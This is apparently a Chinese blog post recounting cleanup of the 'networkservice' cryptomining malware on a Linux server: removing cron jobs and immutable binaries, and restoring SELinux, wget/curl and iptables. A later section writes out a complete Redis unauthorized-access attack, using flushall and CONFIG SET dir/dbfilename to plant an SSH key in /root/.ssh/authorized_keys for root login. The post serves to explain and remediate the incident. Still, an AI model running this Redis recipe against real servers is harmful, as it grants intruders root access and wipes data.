记一次 LINUX 挖矿病毒 networkservice 分析 原因通过redis入侵

单位ip被电信拉黑,原因恶意访问非法目的地;

通过安全防护软件分析一台服务器不断向国外不同国家发包请求;定位到服务器 192.168.2.110

登陆服务器一看cpu 爆满;

记一次 LINUX 挖矿病毒 networkservice 分析 原因通过redis入侵_第1张图片

看是服务networkservice;不知所以然;百度一下 发现有同学已经中招了 定位是 挖矿病毒 networkservice;

清除的过程

使用top已经知道了进程号,接下来看看位置,命令ls -l proc/{进程号30262}/exe

 

sysupdate、networkservice都在/etc/目录下
到etc下,除了sysupdate、networkservice 同时还有sysguard、update.sh,除了update.sh其余的都是二进制文件,应该就是挖矿的主程序以及守护程序了

  1. 删除定时任务

    1
    
    rm /var/spool/cron/root 或crontab -r
    
  2. 杀掉进程 删除文件
    首先杀进程,kill -9 {进程号},然后删除文件
    直接删除sysupdate你会发现无法删除,因为一般病毒会使用chattr +i命令,我们使用chattr -i sysupdate,然后再 rm -f sysupdate 即可正常删除。
    同理删除networkservice、sysguard、update.sh、config.json。

  3. /root/.ssh/authorized_keys 删除或修复

  4. 如果你被攻破的是root用户(或者被攻破的用户权限较大),你可能还需要

  5. 修复SELinux
    病毒脚本首先就会尝试关闭SELinux子系统,我们可以使用getenforce命令查看SELinux状态。
    如果你想要重新打开,可以修改/etc/selinux/config文件将SELINUX=disabled改为SELINUX=enforcing,然后重新启动服务器。

  6. wget命令和curl命令会被改为wge和cur,这样用着很变扭,改回来

    1
    2
    3
    4
    
    mv /bin/wge /bin/wget
    mv /bin/cur /bin/curl
    mv /usr/bin/wge /usr/bin/wget
    mv /usr/bin/cur /usr/bin/curl
    
  7. 恢复防火墙配置
    这里给出病毒脚本修改的iptables配置的语句,方便读者修复

    1
    2
    3
    4
    5
    6
    7
    8
    
    iptables -F
    iptables -X
    iptables -A OUTPUT -p tcp --dport 3333 -j DROP
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP
    iptables -I INPUT -s 43.245.222.57 -j DROP
    service iptables reload
    

    如果你的iptables策略确定被清除并且修改了,那直接清空并重新配置即可。

 

 

 

 

下面是隔壁团队成员提供的中招原因

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。

一,生成本地ssh公钥

ssh-keygen

 

二,先连接redis看看

telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10

 

 

三, 清一下redis数据库

redis-cli -h 192.168.15.10 flushall

 

 

四, 向redis写自己的公钥

cat key.txt |redis-cli -h 192.168.15.10 -x set redis

 

 

五, 利用redis写入到文件中

#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SET dir /root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename "authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit

 

 

六, 远程连接

ssh [email protected]

 

 

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。

这个是最近redis爆出来的。

 

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

 

你可能感兴趣的:(linux)